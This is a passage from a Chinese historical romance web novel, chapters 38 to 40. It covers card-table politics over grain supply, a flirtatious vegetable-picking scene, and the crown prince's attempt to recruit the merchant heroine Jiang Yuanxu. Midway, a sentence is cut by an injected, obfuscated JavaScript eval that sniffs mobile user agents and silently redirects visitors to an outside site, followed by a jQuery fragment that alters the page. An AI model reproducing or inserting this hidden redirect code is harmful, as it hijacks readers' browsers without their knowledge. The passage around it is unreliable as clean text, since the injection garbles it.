“谢侍郎,又只剩你了,准备好如何输了吗?” 李凡玉缓缓翻开一张牌,赫然是一张天牌。 谢青衍唇角轻弯,不紧不慢地剥松子,他的攒盒空了四格,输出去一格,给谢维一格,姜元序吃了两格。 “上有输得精光的祖父,下有嗷嗷待哺的小妹,我如何敢输。” 松子仁落入小碟,他放下胡桃钳,利落地掀开自己的牌,幺牌对,胜。 “噢噢噢噢……” 姜元序欢快地拍手叫好,左手夹给谢青衍一颗剥好的榛子,右手执一把小勺,舀回一勺松子仁。 谢维不甘落后,没给彩头不说,大大方方从谢青衍攒盒里摸出一把杏仁,一颗一颗往嘴里丢,左右都是要输的,不如先进自己肚子。 姜元序指指李凡玉的攒盒,毫不客气地说:“给颗栗子。” 李凡玉微微扬眉,眼里划过一丝笑意,从善如流地放下就近夹起的琥珀桃仁,从自己的攒盒中夹出栗子,直接放到姜元序的碟子里。 他看姜元序实在喜欢糖煨栗子,她自己的和谢青衍的全是她吃的,又给她夹了几颗。 姜元序喜笑颜开,双手捧起碟子凑到李凡玉手边,“谢谢李祖父。” 道完谢也没把手伸回去,就这么眼巴巴地等着,李凡玉哑然失笑,继续给她夹栗子,一个闪神,眼皮底下多出一个碟子。 李凡玉的手顿住,抬眼望去,谢维皮笑肉不笑,随口道:“谢谢首辅大人。” 姜元序悄然退出,大方地分给谢青衍一半栗子,谢青衍把剥好的松子仁全倒给姜元序,两个小的和谐友爱,两个老的僵持不下。 谢维的碟子往前递了递,李凡玉无言地夹起几颗胡桃丢进去,嫌弃地啐道:“多大年纪了,还跟小孩儿抢吃的。” 谢维收回手,哼哼呦呦地夹胡桃吃,他没有姜元序的好胃口,平常甚少吃零嘴,但从李凡玉手里夺来的,自然要吃一吃。 牌局不着急开始,三人嘴里、手里忙活不停,李凡玉好心情地捏起几粒阿月浑子,亲自动手开壳,不经意地问起姜元序的身世。 “你姓姜,可是出自南郡姜氏一族?” “嗯?”姜元序惊讶抬头,“李祖父不知道吗?江州粮食商会的会长吴善民,就是我爹。” “你爹姓吴,你姓姜?” 李凡玉皱眉,吴善民他自是知道的,他以为两人只是合作关系。 姜元序莞尔,笑说:“我娘姓姜,我算是他们收养的,不过,我的户籍是单独的,没有走正式的收养程序。” 当初她不打算回去,就直接说了上辈子的名字,吴善民没有怀疑,姜彩兰觉得是缘分,她失去了一个女儿,上天又带给她一个。 李凡玉这回是真震惊了,他瞧姜元序行事大方,举止有度,小小年纪便见多识广,还当是豪门望族倾力培养所致。 他略带小心地问:“那你亲生父母呢?” 姜元序举起双手晃了晃:“您猜,我这一身伤是怎么来的?” 李凡玉神色一凛,眼睛微微睁大,谢维和谢青衍脸色俱是一变,停下手中动作,呼吸不自觉放得很轻。 姜元序抚着手上的伤疤,垂眸缓缓道:“五岁时,家里人一同去庄子上过生辰,母亲差人绑了我,又支走父亲和下人,姐姐点了屋子跑走了,火先烧断绳子,我才能逃出来。” 谢维双目一瞪,难以置信地惊呼:“怎么会有这样的母亲!?” 谢青衍蓦然攥紧双拳,面沉如水,李凡玉坐直身体,手下不自觉用力,阿月浑子的果壳连带果仁一起碎裂。 姜元序一脸轻松:“那不是我的亲生母亲,我是父亲抱回来的,和姐姐充作双生子,父亲偏心我,忽略了姐姐,才有的这一出。” “我到江州后,爹娘卖掉宅子给我治伤,悉心照料,完全把我当亲女儿,我便留了下来。” 李母经常背着李义康喊她野种,她想不知道都难,如果没有李景星顶替身份的事,她只以为自己是李义康的私生女。 姜元序语气轻快,听的人却一阵难受,他们了解后宅的阴私手段,一个母亲要针对一个不足五岁的孩子,何其容易,绑人放火恐怕只是其中之一。 看他们一个个板着脸缄默不语,目光闪着厉色,姜元序赶紧摆摆手,打消他们深入调查的念头。 “不必讳莫如深,这些事我爹他们都知道的,我长大些还让人查过,母亲亡故,姐姐残疾,父亲境遇好一些,但也就那样,远不及我。福祸相依,我如今过得很好,过去的事就让它过去吧。” 也许是听到恶有恶报,也许是姜元序淡然自若的神情不似作伪,三人的表情有所松动。 李凡玉放下手中碎裂的果子,拿起帕子拭手,沉声道:“你倒是豁达。” “首辅大人。”姜元序轻轻笑了一声,抬眸凝视,语带戏谑,“我交的周明坤的答卷,您可还满意?” 今日之前,她从未想过周明坤到江州的目的,周家平调一个知州很容易,但李凡玉一开始看她的眼神很熟稔,结合谢青衍和她说的一些事迹,她立刻有了怀疑。 知晓她在转移话题,李凡玉也不准备深究,感叹道:“我给你一个周明坤,你还我一个宁远郡,你这本事比我强上些许,我哪敢给你打分。” 钦州同知江文出身江州,调任宁远郡走的是谢家的关系,夹杂在一堆任命中,其实并不起眼,他只是有所怀疑,并不能确定。 两个大胆猜测的人,把试探之语说得斩钉截铁,仿佛成竹在胸。 谢维的视线在两人之间逡巡,满脸不解:“宁远郡和小姜有什么关系?” 李凡玉和姜元序皆诧异地看向他,谢维拧着眉愣愣地和他们对视,两人异口同声地“啧”了一声,视线转向谢青衍。 谢青衍讪讪地撇开头,抬手挡住他们的目光,百思不得其解,自己到底哪里露出马脚,让首辅大人抓住了端倪。 李凡玉哼笑道:“谢侍郎,口风够紧的。” 他以前一直觉得谢青衍假模假样,今日才算彻底改观。 一来是因为谢青衍对姜元序的爱护之心,没有一点世家子弟的骄矜,对里对外,皆大方直白地表达喜爱之情,实在难得。 二来是因为谢青衍对姜元序的君子之行,无论是席间布菜还是牌局相护,看似亲昵,实则举止有礼有度,没有刻意营造暧昧之意。 三来则是因为公私分明,太子和宁远郡之事,他早已知晓,却对最亲近的祖父守口如瓶,直到发现自己兜不住底,才松口求助旁人。 谢维一瞧谢青衍的心虚样,就知道又有事情瞒着他,恨恨地抬手拧了他一把,谢青衍抚了抚拧疼的胳膊,垂下眼睛不说话。 姜元序解围,和谢维解释道:“是我让人提醒杜大人,从宁远郡入手的。” 谢维已经不知道该摆出何种表情,他原以为是杜衡深藏不露,没想到背后竟还有推手。 李凡玉扣了扣桌子,问姜元序:“你调江文到宁远郡是何意,总不会是单纯想给他升个官吧?” 姜元序老实答道:“周明坤给了我周家军的军粮供应资格,江州粮食商会入驻宁远郡,我需要人给我搭把手。” 李凡玉头一次感觉自己年纪大了,跟不上年轻人的思路。 “你和周明坤闹成那样,他还把周家军的饭碗交给你?” “格局小了不是。”姜元序说,“周明坤是自己作的,不是我害的,说到底我和周家并没有冲突。” “再说,就算我看不惯周家,也不可能从军粮中使坏,粮食出了岔子,受苦的是底层士兵,总不会饿到姓周的。” 李凡玉还是不能理解:“旁人信你,周明坤也信?” 虽说周明坤的死不是姜元序导致,但挑破一切的是她,周明坤若是个目光长远之人,也不至于落得如此下场。 姜元序高高扬起嘴角,换上商业微笑,言简意赅道:“这就是口碑。” 李凡玉想到今越投资的一呼百应,抬手揉了揉眉心,长叹一口气,对姜元序拱手道:“心服口服。” 能让敌人都信任的口碑,怎能不让人叹服! 姜元序猝然失笑,决定给他们透个底。 “第一批低价粮已经运到宁远郡,不出意外的话,明年秋收后,宁远郡的粮价就能平稳下来。” 李凡玉惊讶地抬眼,略一思索,摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211535|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头道:“宁远郡那些粮商可不是善茬,一个新州知州,恐怕撑不了事。” 宁远郡粮价奇高一事,朝廷曾苦恼许久,但周家不以为意,粮商有恃无恐,他们插手不得,逐渐放任自流。 姜元序神秘地笑笑,打趣道:“你们可以写信问问韩叔,西北军一日膳食是如何安排的。” “我提供的军粮,可不是简单的米面豆子,有了对比,周家军就知道自己以前过的是什么苦日子,不出两个月,周家自己就会把那些黑心粮商赶出去。” 李凡玉皱眉,不解地问:“不是米面豆子,那是何物?军粮还能换着花样做?” 姜元序点头:“自然要换花样的,只吃米面只能让人不饿死,不能让士兵拥有强健的体魄。我们研究军粮的团队,不下百人,为的就是花最少的钱,最大限度的给士兵提供营养,增强体质。” 姜元序说起合理膳食的重要性,以及她研究的新军粮的品种,三人不住地点头。 李凡玉听罢愈发疑惑:“这花费不小吧?西北军近些年在军粮上的开支,较以往并无增长。” 以往军粮都是朝廷统一调度的,但粮食运送的损耗实在太大,中饱私囊者更是屡禁不止,边军时常面临断粮的窘境。 八年前雁门郡一战,因粮食运送不及时,差点酿成大祸,后来朝廷索性统一划拨军费,让边军就近找粮商购粮,这才有了军粮供应商的出现。 商人的反应速度比朝廷快多了,而且军队对商人有足够的威慑力,一旦出现以次充好的情况,直接处理便是,有的是来接替的粮商,几年实践下来,边军的粮食供应问题,确实得以解决。 朝廷对军费的管控相当严格,按当地粮价核算军粮的支出,多的一分没有,但按姜元序说的,加上海边干货、蔬果、药材等等,支出至少得翻一倍。 姜元序耷拉着眼皮,眼神幽怨,叹气道:“我当初到西北军营时,他们一个个都跟流民似的,看起来没吃过一顿饱饭。” “韩叔沉默寡言,脾气又差,一看就是个被排挤的。头几年都是我贴钱给他们加餐的,后来我在各地都开了工厂,成本降下来,不算上研究经费的话,收支算平了。” “这……”李凡玉眼神游移,谢维撇开头,臊得慌,韩其也没跟他们说是这种情况啊。 谢青衍见两人心虚不已,掩唇无声地笑了笑,问姜元序:“之后周家军的军粮也是如此吗?你也不能光干活,一分不赚吧?” “按周家的报价,是能赚一些的。”姜元序依旧盯着李凡玉,“不过,加上稳定宁远郡的粮价,就……” 李凡玉忍不住打了个寒噤,轻咳一声,正色道:“我会让人核实西北军的膳食情况,朝廷也不是不近人情的,若真如你所说的,军粮的支出自然要重新核算。” “如今宁远郡开了口子,粮价问题朝廷不会坐视不理,具体章程还要商议,到时候肯定需要两边配合的,你有什么需要可以直接提。” 姜元序眉眼弯弯,抚掌称颂:“首辅大人英明!” 谢府水榭中一片祥和,外头却炸开了锅,今越投资的主事进京了,是个未成婚的女子! 安王摩挲转着指间的扳指,眉头紧锁,思索良久,问道:“李首辅对她是什么态度?” “很是欣赏。”谢流光不假思索道,只要不是瞎子,都能看出来。 安王的眉心更紧了些,有李首辅和谢阁老作保,这位姑娘的身份不会有假,他设想过许多拉拢今越主事的方法,万万没想到砸在了第一步。 谢流光迟疑地说:“我大哥对她的态度不一般,两人似是早就相识。” 安王抬眸不冷不热地瞥了他一眼。 谢流光深吸一口气,“王爷也知道,大哥前些时日搜罗了不少珍珠,我看姜姑娘就是个喜爱珍珠的,她的鞋面上缀了不少品相极佳的珍珠。” 谢流光的小心思,安王不以为意,姜姑娘嫁给谢青衍,总比嫁给他几个兄弟强。 李首辅这些年对老四不闻不问,但到底有一层祖孙关系在,指不定哪天转了性,开始不遗余力相帮,老四还未成婚,姜姑娘可不就是最好的助力。 谢青衍和姜姑娘关系不一般,于他而言反倒有利。 他朝谢流光摆摆手,把人打发走,有些后悔接纳谢流光。 谢青衍和谢流光向来不睦,如今不管是通过谢青衍拉拢姜姑娘,还是通过姜姑娘拉拢谢青衍,谢流光都是碍事的。 谢流光垂着头往外走,眼里的不忿几乎化为实质。 若姜姑娘只是个容貌有瑕的商户便罢了,偏偏她是今越投资的主事,富可敌国,神通广大,甚至三言两语便哄得李首辅对谢青衍另眼相看。 他可以接受谢青衍娶一个于他仕途有益的高门贵女,但不能接受,这个女子同样是他心爱之人。 凭什么所有好事都让谢青衍占了? 39. 念闺房诗 “我来我来我来……” 姜元序赶走谢青衍,欢快地扯住萝卜缨子,左脚前伸抵地,右脚后撤一步,膝盖微曲,沉肩收腹,蓄势大喝:“嘿——” 右脚狠狠蹬住地面,腰腹猛地发力后倾,萝卜带着泥点往上扬起,在空中划过一个半圆,失重感骤然袭来,姜元序一个“哈”字没喊全,声音陡然上扬:“啊——” 经验丰富的老农谢青衍,早在姜元序作出如临大敌的架势时,便默不作声地站到她身后,张开双手护在左右,果不其然,如守株待兔般,接到了摔过来的姜元序。 “不是……”姜元序站直身体,盯着手里的萝卜一脸懵,“为什么这么容易?” 谢青衍哭笑不得,伸手帮她拂去发间的泥点,“拔个萝卜而已,能有多难?” 就姜元序摔过来的力道,不像拔萝卜,像萝卜恶意伤人。 姜元序昂着脸,信誓旦旦道:“我看书上拔萝卜都是需要好几个人一起的!” 这回轮到谢青衍惊讶了,“你看的什么书?” 儿童绘本。 姜元序喉头一堵,蓦然泄气,幽幽睇他一眼,垂头长叹道:“纸上学来终觉浅啊。” 谢青衍被她蔫头耷脑的样子逗得失笑不已,一边转着圈为她掸去溅落衣间的泥点,一边和她解释。 “前两天浇过水,土比较松,你看的可能是干硬的泥地,圆萝卜拔起来更困难,这种长萝卜不用多大的力气。” 姜元序不是风一吹就倒的弱女子,她能驯服赤兔,还知道用腰腹发力,而不是用胳膊,想来也是练过几招的,拔个萝卜自然轻而易举。 放下轻飘飘的萝卜,姜元序拍拍脏兮兮的手,仰着脸示意谢青衍:“帮我把面具摘一下。” 谢青衍一惊,下意识往后退了一步,姜元序纳闷:“我是提了什么过分的要求吗?” “我……”谢青衍张了张嘴,对上姜元序疑惑不解的眼神,刚升起的旖旎心思顷刻间烟消云散。 他暗暗平复呼吸,一本正经道:“我刚才没听清,摘面具是吧,马上来。” 姜元序的面具固定在发髻上,她今日的头饰较多,谢青衍循着银丝延伸的方向,绕到她身后,小心地辨别该摘哪一只簪。 指尖拂过青丝,谢青衍没由来地脸一红,一面庆幸姜元序看不到,一面唾弃自己心思龌龊,嵌珠银簪缓缓褪下,面具松动。 姜元序抬手扶住面具,突然咯咯笑了起来,谢青衍一时间手足无措,愣愣地捏着摘下来的发簪。 “快点,还有另一边。”姜元序头也不回地催促。 谢青衍听话地去寻另一边的发簪,不解地嘟囔:“笑什么?” 姜元序又笑起来,朗声道:“有些人,让他摘个面具,跟要他脱衣裳一样,也不知道在害羞什么。” “姜元序!”谢青衍如玉的脸染成血红,“你一个姑娘家,说什么呢!” 姜元序摘下面具,回身看到羞愤交加的谢青衍,笑意染眸,指尖不经意转着面具,一句调戏随口而来:“阳羞屡相恼,不自脱罗衣。” 眼尾微勾,风月袭人。 谢青衍倏地捂脸蹲下,羞的是他,恼的是他,不自脱的还是他,感情是要脱他的衣裳。 远远瞧见这一幕的谢维,不觉连啧,摇头失笑,谢青衍还觉得自己是一厢情愿,他看姜元序眼里分明也是有情的。 他朝对面的李凡玉努努嘴,下巴微抬:“瞧见了吧,两两相宜,宛若天成,你可不能因为自己喜欢小姜,就往你家里扒拉。” 李凡玉懒懒地抬一下眼皮,并不言语,他倒是想,偏偏家里一个个的,全是不成器的。 谢维知晓他家里的情况,他担心的也不是这个,压低声音说:“你家宫里头不是还有一个吗。” 那才是个烫手的山芋,自贵妃进宫后,后宫形同虚设,其余后妃再无子嗣诞下,陛下一共就四个儿子,眼瞅着太子难堪大任,贵妃唯一的儿子璋王,处境便微妙起来。 璋王性子温和,难保陛下不会给他挑一个手腕强势的妻室。 “不是我家的。”李凡玉想也没想就反驳,“姜元序比你有主意,瞎操什么心。” 谢维大概是被谢青衍的感情蒙蔽了心窍,竟没发现姜元序话里话外都有入仕的意思。 景朝的女官皆在宫廷之中,效力于皇室,虽有品级,但也只是名头好听,无参政议政的权力,让姜元序处理宫廷琐事,未免太过大材小用。 这事儿难办,但不是不能办,在他之前,也未曾有过寒门首辅,他做到了,姜元序也能做到,她缺的,是一个契机。 谢维冷笑一声,嗤道:“你够有主意吧,当年你不同意贵妃进宫,结果呢?一桩糊涂事,掣肘了你二十年,还没吃够教训啊!” 陛下登基后,周家越发势大,宫里几位妃子,都是李凡玉与陛下共同商议,为平衡周家势力册立。 结果陛下对贵妃一见倾心,两人情愫暗生,不顾李凡玉的反对,趁他南下赈灾时,宫中一道懿旨,直接敲定贵妃入宫之事,一下把李凡玉置于背信弃义,孤立无援的境地。 李凡玉脸色唰地黑下来,目光沉沉,夹着寒意。 谢维可不怵他,继续数落:“你还好意思把周明坤推到江州,你有没有想过,如果没有铜矿案逼死周明坤,姜元序要面对的就是整个周家和太子一党。若太子动作快一点,强纳姜元序入宫,你就是罪魁祸首!” 李凡玉眉心微蹙,这件事确实是他考虑不周,江州粮食商会活跃这么些年,谁能想到背后之人竟是个十几岁的姑娘,险些被周家钻了空子。 他揉揉眉心,眼里闪过一丝冷硬,干脆道:“我会注意宫里的动向,只要姜元序不愿意,无人奈何得了她。” 妥了!谢维暗道,陛下愧对李凡玉,对他愈发恭顺,有了这个保证,姜元序至少不必担心婚事招人算计。 谢维放松心神,靠进圈椅,缓缓叹气:“说到底,是我们无能,让周家嚣张到现在,无论是周明坤还是宁远郡,都是我们职责所在,小姜不过是个十几岁的孩子,如今却要替我们收拾烂摊子。” 远处,锦衣华裳的年轻人嬉笑打闹着,穿行在灰扑扑的田地间,李凡玉幼时家贫,繁重的劳作压在七八岁孩子的肩膀上,一家子挨饿一整年,才为他换得一本书。 姜元序比他幸运些,上有权势庇护,下有钱财托底,宁远郡异动频频,或许恰好能成为她的契机。 “谢大人?谢侍郎?谢哥哥?”姜元序蹲在谢青衍面前,漫不经心地喊人。 谢青衍的耳尖又红了几分,觉得这样不行,倏地站起身,望着远处,仿佛无事发生般,哑声道:“我带你去摘菠菜,是我回来新种的,现在刚好能吃。” 姜元序依旧蹲着,兴致勃勃地仰起脸看他装失忆,谢青衍一直没听到回应,硬着头皮转过视线,乍然看清姜元序的花脸样,噗嗤一声,低声笑起来。 姜元序摸不着头脑,困惑地皱眉,谢青衍顾不得许多,矮身搀她起来,从袖中抽出锦帕递给她,好笑道:“泥点子都溅脸上了,知道摘面具,怎么不知道擦擦脸。” 姜元序胡乱抹了把脸,白色的帕子留下几道泥痕,哼一声,责怪道:“都怪你耍脾气。” “你对着我念闺房诗,倒怪我耍脾气?”谢青衍扯过帕子,抬手为她拭去鬓边的污痕,“你公然轻薄良家男子,还倒打一耙,我要是气性大点,现在该投水自尽以保清白。” 谢青衍拿过她手中的面具,用帕子细细揩去泥尘,“好在这里只有你我二人,旁人不知道我已失了清白,若你愿意早日上门提亲,我便不去官府告你了。” 姜元序捂着肚子,笑得上气不接下气,“谢侍郎,诬告是何罪,旁人不清楚,你也不清楚吗?” “证据确凿,还敢狡辩。”谢青衍不满地哼哼,把擦好的面具给她,“你一直戴着面具,是怕以前的家人认出你吗?” “我那时才五岁,和现在能有几分相似?除非家里有人跟我长得极像。” 面具恢复光亮,姜元序食指勾着银丝,随意地抛了两圈,问谢青衍:“你见过这样的人吗?” 谢青衍一愣,脸色不自觉往下沉,姜元序有此一问,很可能她的家人就在京城。 仔细思索半晌,他最终摇了摇头,认真道:“我印象中是没有的,不过我对女眷也不熟悉,若你愿意的话,可以问问我母亲,京中女眷她大多认识。” 姜元序眼睛一亮,表情生动起来,忍不住赞叹:“你母亲可真好看啊,和你舅舅们完全不一样,王家所有的美貌都长她一个人身上了。” “舅舅们长相都随外祖父,我母亲是随了曾外祖母,格外好看些。” 谢青衍轻笑着解释,带着她向另一边的菜地走去。 姜元序边走边端详他的脸,略有些遗憾道:“没见到你母亲前,我觉得你够好看了,如今再看,你这长相多少有点不争气了,怎么没多像她几分呢。” 谢青衍一时没分清姜元序到底是觉得他好看还是不好看,递给她一把小镰刀,颇有些无奈道:“我的长相就是随的母亲,她好看,我自然也好看。” 姜元序敷衍地点点头,连声道“是是是”,她十八般兵器都试过,还是第一次拿镰刀,迫不及待地去割菠菜。 谢青衍拢住菠 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姜元序拍开得寸进尺的手,晃晃手中的镰刀,呲牙道:“过分了啊。” 谢青衍胆子大得很,趁姜元序不设防,又瞅准机会捏了捏她的脸,飞快地收回手,挑衅地扬眉,姜元序罕见地吃了两次亏,啪的一声放下镰刀,伸手朝谢青衍扑过去。 “敢偷袭我。”姜元序居高临下捏着谢青衍两边脸,往外扯两下,凶道,“知道错了吗!” 谢青衍坐在地上,乖乖点头,姜元序不放手,哼道:“知道错了就背个《离骚》,要全篇的,错一个字,折一根手指头!” 谢青衍呼吸一窒,缓慢举起一双手,递到姜元序面前,发自内心道:“要不你直接折吧,别找借口了。” 姜元序唇角一松,猝然失笑,挥开他的手,转身捡起镰刀,继续慢悠悠割菠菜。 谢青衍咧嘴笑开,起身蹲到姜元序身旁,“李首辅很喜欢你,你在京城也可以像江州一般自在,无论你父亲是谁,你不想认,没人能强迫你。” 姜元序轻啧了一声,原来是这一出,“他不是什么大人物,要不是顾忌我,十安他们可能已经把人处理了,你也别想着去查,我和他们恩怨已了,井水不犯河水最好。” 她五岁之前的性格和现在天差地别,李义康和李景星认出她的概率不大,她在李家时不声不响,时不时无声地掉眼泪,李家找过不少大夫给她看病,李景星一直觉得她是个傻子。 李义康知道她不是傻子,反而极其聪明,但李景星和李牧为已经打过照面,身份顶替一事无法挽回,即便侥幸认出她,也只会装作不认识。 谢青衍心虚地抿唇,不死心地哼唧:“你也太大度了。” 他也没想做什么,既然不是什么大人物,那就直接让他们离开京城,姜元序如今家财万贯,万一被认出来,恐怕要被一家子缠上。 姜元序瞥他一眼,叹气道:“母亲亡故是父亲做的,姐姐残疾是我做的,所以我说恩怨已了,如今我们只是陌生人,何必再去生事。” 她后来查到,李母的死亡时间和她是同一天,李家对外声称李母是为救李景星而死,大概只有当事人知道这个理由有多假,能这么快动手的,只能是李义康。 谢青衍一怔,觉得有些奇怪:“你父亲有这样的雷霆手段,会是个小人物?” 姜元序没好气地翻个白眼,“有没有一种可能,他只是单纯的坏?” 李义康靠着李牧为,这么多年却始终无法升迁,其中自然有姜元序的手笔,李景星母女是刽子手,李义康却是始作俑者。 谢青衍一时语塞,悻悻地低头拔菠菜,难怪姜元序不愿意和他们扯上关系,一家子没一个好人。 母亲和姐姐只因父亲的偏心,便对一个孩子下毒手,父亲更是直接杀害发妻,明明是他自己没有安抚好妻子,结果其余三人皆有不同程度的损伤,唯独他高高挂起。 两人摘好满满一筐菜,谢青衍提着筐,姜元序抱着一颗大白菜,如打了胜仗般,雄赳赳气昂昂地回去。 李凡玉临走时,当着谢家众人的面,指指外头的路,对姜元序说:“李府就在那边,有什么事直接上门来就行,我若不在家,让府里的人到宫里寻我。” 这句话的分量可太足了,姜元序笑得牙不见眼。 “李祖父放心,我这人惯会顺杆爬,得了您这一句,以后我就把李府当自己家了,我若是在外头受了委屈,自然要回家告状的,我气性大,免不得要劳您受累了。” 李凡玉勾起嘴角,轻哼一声,揣着手,昂着头,走上自家马车。 40. 太子殿下 会客室来了一位不速之客。 锦衣玉带的男子独坐一旁,四位侍从分立两侧,桌上茶香袅袅,是云州出产的金瓜茶,京城千金难求,男子伸手端起青釉茶盏。 姜元序推门而来,态度从容:“常听周大人提起您,今日可算见着真人了。” 她步履稳健,径直走向男子,行至面前才略一颔首,顾自坐在他对面。 “今日不是休沐,太子殿下拨冗前来,可是有要事?” 姜元序一通抢白,太子着实有些措手不及,皱眉放下茶盏,细细打量眼前之人,金制的半脸面具难掩秀美的姿容,眉目坚定,唇角略微弯起一抹弧度,显得温和又有礼。 想起这些时日的焦头烂额,太子心中冷哼,面上扬起似有若无的笑容,沉声道:“百闻不如一见,姜姑娘的风采,较小舅形容的,有过之而无不及,难怪能让谢侍郎一见倾心。” 他只听说姜元序面容有瑕,终日戴着面具遮掩伤疤,未曾想过,有时美玉有瑕,反而自成一格。 他嘲谢青衍眼光清奇,不类常人,如今看来,倒是他落了俗套,佳人有憾,何尝不是另有一番趣味。 姜元序目光清明,浅浅一笑道:“听说谢侍郎破格升迁,殿下出了不少力,在江州时,谢侍郎与周大人互不待见,不成想他和殿下倒是公私相得。” 一口气堵在喉咙口,太子忍不住皱了下鼻子,嘴角下拉,缓缓咽下不适感,眼神逐渐变得不善。 “姜姑娘的立场,孤一时间竟有些看不清了,你与小舅达成交易,又让方七给孤传话,和周家的生意有条不紊,到京城却登了谢家的门,这是何意?” “殿下说笑了,我一个商人,哪来的立场?”姜元序神色未变,缓缓道,“这生意,和周家做得,和谢家自然也做得。” 太子勾起一边嘴角,冷嘲道:“姜姑娘做生意的手段,着实让孤大开眼界。” “同为合作伙伴,孤听了姜姑娘的话,舍去不菲的利益不说,还得罪了大半个朝堂,谢侍郎却破格升迁,损此益彼,拆东墙补西墙,姜姑娘,你的手和心,都是偏的。” 姜元序抬起眼皮,微微睁大双眼,仿佛听到什么不可理喻的话,表情相当无辜。 “殿下这话不免有些颠倒黑白,若殿下真听了我的话,谢家哪里有发难的机会,分明是殿下没有及时止损,赖到我头上作甚?” 太子眸色一沉,姜元序当真是滑不留手,先抑后扬的手段,怕是行不通,语气又冷下几分:“若你俩没有联手,谢侍郎为何如此迫不及待将你引荐给谢阁老和李首辅?” 姜元序下巴微抬,语调轻缓,自带清傲:“殿下莫不是忘了我如今的身份,我是今越投资的主事,京中多少达官贵人都在打听见我的门路,连今越银行门口引路的小厮都收了一长串的名单。” “这两位早就对我好奇不已,我到了京城,也有心寻求庇护,双方一拍即合,光明正大地见上一面,哪有那么多的弯弯绕绕。” 太子微不可察地皱了一下眉,盯着姜元序的眼神有些晦暗不明,今越最近的动静,他也是知晓的,收到邀约的不足十人,连他都在打听见主事的门路。 昨日从谢家传出消息,戴面具的姜姑娘,来自江南,除了姜元序还能是谁?他怒不可遏,感觉被人联手耍了一通,冷静下来,又懊悔不已。 当初小舅提议娶姜元序,他不以为然,一个面容有瑕的商户养女,即使手腕再高明,也配不上侧妃之位,这事儿便拖了下来。 如今今越主事的身份一曝光,他方才知道自己错过了什么,江州粮食商会他可以不在意,但今越投资他没法不在意,不仅是滔天的财富,更有那四通八达的人脉关系和一呼百应的号召力。 “姜姑娘手眼通天,连李首辅都能搭上。”太子目光沉沉,脸色却逐渐缓和下来,“自云州一事后,今越许久没有大动作,此次姜姑娘现身京城,给出去不少邀约,可是又有了新的想法?” 姜元序态度截然:“这就不便告知了,我与殿下的交情仅限于周家,我和周家的生意仅限于江州粮食商会,和今越却是无甚关系的。” 太子非但不恼,反而露出一个温和的笑,语气轻柔道:“姜姑娘何必急着撇清关系,孤的侧妃之位,可一直为姜姑娘留着。” 姜元序差点没绷住脸上的商业微笑,有些怀疑地问:“周大人竟没让殿下打消这个念头吗?” 不应该啊,周明坤见识过她的身手,也听过她自立为帝的理论,总不会还敢让她进东宫吧? 太子微微拧眉,叹一口气,苦恼道:“小舅说,让我不要勉强姜姑娘,没见到姜姑娘之前,孤的确打消了念头,可如今……” 略微停顿了几瞬,太子莞尔一笑,脸上洋溢着昂扬的喜悦:“如今,为了姜姑娘,孤想勉强一下,待百年之后,再自行向小舅告罪。” 姜元序往身后的椅子上缩了缩,硬扯了一下嘴角,语气不自觉带上几分嫌弃:“太子殿下,您这么大年纪,和我一个小姑娘说这些,不太合适吧。” 太子虽说不丑,但也说不上好看,板着脸还有几分不怒自威的气势在,表情一多,整张脸垮掉,目光贪婪,气质油腻,不堪入目。 太子故作温柔的笑容僵在嘴角,显得十分滑稽。 他呆愣片刻,硬挤出一个微笑,咬牙道:“孤,刚过而立。” “可我只有十八。”姜元序点点头,语气真诚,“殿下若是努力一些,长子的年纪或许能比我大。” 他的长子只有八岁!太子无声地在心里呐喊,被姜元序理直气壮的表情气得猛喘几口粗气。 装出来的温和消失殆尽,长居高位的倨傲跃然而上,他半阖着眼,刻薄道:“谢侍郎倒是年轻,多少春闺梦里人,可惜在权势面前,皮相轻贱如斯。” “姜姑娘搭上他,至多博一个诰命夫人,如今孤这里有一条通天路,姜姑娘是个勇于开拓的商人,应当分得清好赖。” 姜元序眼底掠过一丝明显的不耐,淡淡开口:“您这套说辞,骗骗那些从小被家里当作妻子培养的姑娘或许可以,放到我面前,多少有些可笑。” “你我同为继承人,您家里有皇位要继承,我家里也有庞大的家业要继承,您难道会带着皇位入赘他国吗?” 太子冷嗤一声,似在嘲笑她的不自量力:“你把你的家业和皇位相比?” 姜元序目露讥诮:“后宫若是能争皇位,必然挤满了男人,哪有女人的立足之地。” “放肆!”太子厉声喝道,难不成她还想争皇位! “殿下可知,女子和妻子的区别?”姜元序唇角微勾,不是笑意,而是轻慢与不屑。 “女子独立于世,在家争继承权,在外争钱财地位,妻子在家从父,出嫁从夫,夫死从子。” “无人教我如何成为一个妻子,我学的是生存之道,行的是虎狼之事。” 姜元序眉峰微扬,语气清浅,自带一股居高临下的傲气:“要知道,山君向来胜者为王,不分雌雄。” 即使几千年后,女子依然不懂为何整个社会都要她嫁人,因为男人要剥夺女人的继承权,要让她从女子沦为妻子。 法律保护女性,不保护妻子。父亲、丈夫、儿子,三个男人可以堂而皇之把一个妻子分食殆尽。 姜元序天生拥有继承权,她的父母从不避讳她女性的身份,教她掌权也教她爱,她不会成为谁的“妻子”,权力、丈夫、孩子,只是继承权的另一种表现形式,都是她的,是她生为女性,天生可以拥有的。 太子神色一凛,寒意自姜元序轻飘飘的话语中,蔓延至他的四肢百骸,混沌的思绪逐渐清明,姜元序很危险,是小舅临死前千叮咛万嘱咐,要他记住的。 一个看清继承权的本质且手段高明的女人,她的目光绝不会拘泥于后宫方寸之地,将她带入东宫,无异于把皇位的继承权推到她手边,到时候他不是多了一个帮手,而是一个对手。 太子再一次懊悔,他被姜元序的年纪和面容所惑,只将她看作有钱有势的女人,险些忘了她主事的身份。 “既然姜姑娘不愿谈私事,孤也不强求。”太子迅速调整表情,拉拢一方势力,和拉拢一个女人,自然得用不同的手段。 “孤今日不请自来,是想和今越谈一桩生意,在姜姑娘看来,宁远郡比之岭南,如何?” 